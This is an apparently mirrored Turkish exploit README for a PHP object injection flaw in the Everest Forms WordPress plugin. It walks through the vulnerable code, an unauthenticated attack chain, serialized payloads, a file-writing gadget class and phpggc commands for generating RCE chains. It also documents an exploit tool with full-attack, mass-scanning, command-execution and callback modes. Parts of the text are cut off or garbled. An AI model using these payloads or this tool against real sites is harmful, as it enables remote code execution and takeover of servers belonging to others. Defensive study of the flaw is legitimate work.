Share
## https://sploitus.com/exploit?id=C456B1B4-9CA6-51F5-8F33-3147A7C9DC79
# CVE-2026-3296
CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin
# CVE-2026-3296 — Everest Forms PHP Object Injection Scanner

> **Plugin:** Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
> **Plugin Slug:** `everest-forms`
> **CVE ID:** CVE-2026-3296
> **CVSS Score:** 9.8 (Critical)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Zafiyet Türü:** Unauthenticated PHP Object Injection → RCE
> **Etkilenen Sürümler:**  **Yamalı Sürüm:** 3.4.4
> **Yayın Tarihi:** 7 Nisan 2026
> **Araştırmacı:** 0xsabre — Mobikwik / Wordfence

---

## 📌 Zafiyet Hakkında

Everest Forms eklentisi, form girişi metadata'sını admin panelinde
görüntülerken PHP'nin native `unserialize()` fonksiyonunu
`allowed_classes` parametresi **olmadan** çağırır.

Kimliği doğrulanmamış bir saldırgan, herhangi bir public form alanına
serialized PHP object payload'ı gömerek bunu veritabanına kaydedebilir.
Admin panel üzerinden entry görüntülendiğinde `unserialize()` tetiklenir
ve ortamdaki herhangi bir **POP gadget chain** çalıştırılır.

---

## 🔍 Zafiyet Özeti

| Alan | Değer |
|---|---|
| **CVE ID** | CVE-2026-3296 |
| **CVSS** | 9.8 Critical |
| **Tür** | PHP Object Injection (Deserialization of Untrusted Data) |
| **Etkilenen Sürüm** | do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
```

#### Sanitizasyon Neden Yetersiz (evf-core-functions.php, line 4754)

```php
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );
```

Bu payload `sanitize_text_field()` sonrası **tamamen korunur:**

```
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
```

#### Ek Bug — Erken Return (line 4764)

```php
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}
```

#### Veritabanına Yazma (class-evf-form-task.php, line 1326)

```php
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
```

---

### Faz 2 — Tetikleme: Güvensiz Deserialization

#### Zafiyetli Kod (html-admin-page-entries-view.php, line 130–133)

```php
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}
```

#### Güvenli Wrapper Var Ama Kullanılmıyor (evf-core-functions.php, line 5594)

```php
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}
```

---

### Nonce Neden Koruma Sağlamıyor?

```html


```

Nonce **CSRF koruması** sağlar, **kimlik doğrulama** değil.
Saldırgan form sayfasını GET ile açıp nonce'ı okur, ardından
POST ile payload gönderir.

---

## 🔴 Tam Saldırı Zinciri

```
┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘
```

---

## 🧪 Proof of Concept (Manuel)

> ⚠️ **Disclaimer:** This PoC is provided for educational and defensive
> security research purposes only.

**Ön Koşullar:**
- Everest Forms 
```

Sayfa yüklendiğinde `unserialize()` çalışır.

---

### Adım 6 — Gadget Chain Doğrulama (Test Ortamı)

```php
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
```

```bash
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
```

---

## 🛠️ Otomatik Tarayıcı

### Kurulum

```bash
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
```

**requirements.txt**

```
requests
```

---

## 🚀 Kullanım

### Zafiyet Tespiti (Benign Payload)

```bash
python everest_forms_poi.py -u http://hedef.com --mode scan
```

### Yalnızca Enjeksiyon (Faz 1)

```bash
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe
```

### Tam Saldırı (Faz 1 + Faz 2)

```bash
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!
```

### Form ID Manuel + Özel Payload

```bash
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
```

### OOB Callback ile Tespit (Burp Collaborator)

```bash
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net
```

### Toplu Tarama

```bash
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt
```

### Proxy ile (Burp Suite)

```bash
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080
```

---

## ⚙️ Parametreler

### Mod

| Mod | Açıklama |
|---|---|
| `scan` | Benign payload enjekte et — zafiyet tespiti |
| `inject` | Yalnızca Faz 1 — payload depola |
| `trigger` | Yalnızca Faz 2 — admin girişiyle tetikle |
| `full` | Faz 1 + Faz 2 — tam saldırı |

### Genel Parametreler

| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `5` |
| `--output` | `-o` | Çıktı dosyası | `poi_results.txt` |
| `--proxy` | — | Proxy URL | — |
| `--force` | — | Plugin tespiti başarısız olsa devam et | `False` |

### Form Parametreleri

| Parametre | Açıklama | Varsayılan |
|---|---|---|
| `--form-id` | CF7 form ID | otomatik tespit |
| `--form-url` | Form sayfası URL | otomatik tespit |
| `--field-name` | Hedef field adı | otomatik tespit |
| `--nonce` | Form nonce değeri | otomatik çıkarma |
| `--entry-id` | Entry ID (trigger modu) | otomatik tespit |

### Payload Seçenekleri

| Parametre | Açıklama | Varsayılan |
|---|---|---|
| `--payload-type` | Payload tipi | `probe` |
| `--custom-payload` | Özel serialized string | — |
| `--cmd` | RCE komutu | `id` |
| `--callback-url` | OOB callback URL | — |

### Admin Kimlik Bilgileri

| Parametre | Açıklama |
|---|---|
| `--admin-user` | Admin kullanıcı adı |
| `--admin-pass` | Admin şifresi |

---

## 💀 Payload Tipleri

| Tip | Açıklama | Kullanım |
|---|---|---|
| `probe` | Benign stdClass — yan etki yok | Zafiyet tespiti |
| `file_write` | Dosya yaz (TestGadget) | Test ortamı doğrulama |
| `ssrf` | HTTP callback — OOB tespit | Burp Collaborator |
| `wp_rce` | WordPress POP chain placeholder | PHPGGC ile üret |
| `yoast_rce` | Yoast SEO POP chain placeholder | PHPGGC ile üret |
| `monolog_rce` | Monolog POP chain placeholder | PHPGGC ile üret |

> 💡 **PHPGGC ile Gerçek Chain Üretimi:**
> ```bash
> # WordPress/RCE1
> phpggc WordPress/RCE1 system "id" -s
>
> # Monolog/RCE1
> phpggc Monolog/RCE1 system "id" -s
>
> # Tüm mevcut chain'leri listele
> phpggc -l
> ```

---

## 📊 Tarayıcı Çıktı Durumları

| Durum | Açıklama |
|---|---|
| `★ PWNED` | Deserialization tetiklendi + payload çalıştı |
| `★ VULN` | Payload enjekte edildi — zafiyet doğrulandı |
| `~ TRIGGERED` | Entry görüntülendi — gadget chain manuel doğrula |
| `- INJ_FAIL` | Enjeksiyon başarısız (yamalı / form yok) |
| `~ NO_FORM` | Everest Forms formu bulunamadı |
| `- NO_PLUGIN` | Eklenti kurulu değil |
| `~ NO_CREDS` | Admin kimlik bilgileri eksik |
| `- ADM_FAIL` | Admin girişi başarısız |
| `~ UNREACH` | Hedefe ulaşılamıyor |

---

## 🖥️ Örnek Tarayıcı Çıktısı

```
[*] Hedef         : http://hedef.com
[*] Mod           : full
[*] Payload Tipi  : probe
[*] Komut         : id
[*] Admin User    : admin

[→] http://hedef.com  Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com  Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com  Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com  Adım 4: Entry ID aranıyor...
[→] http://hedef.com  Adım 5: unser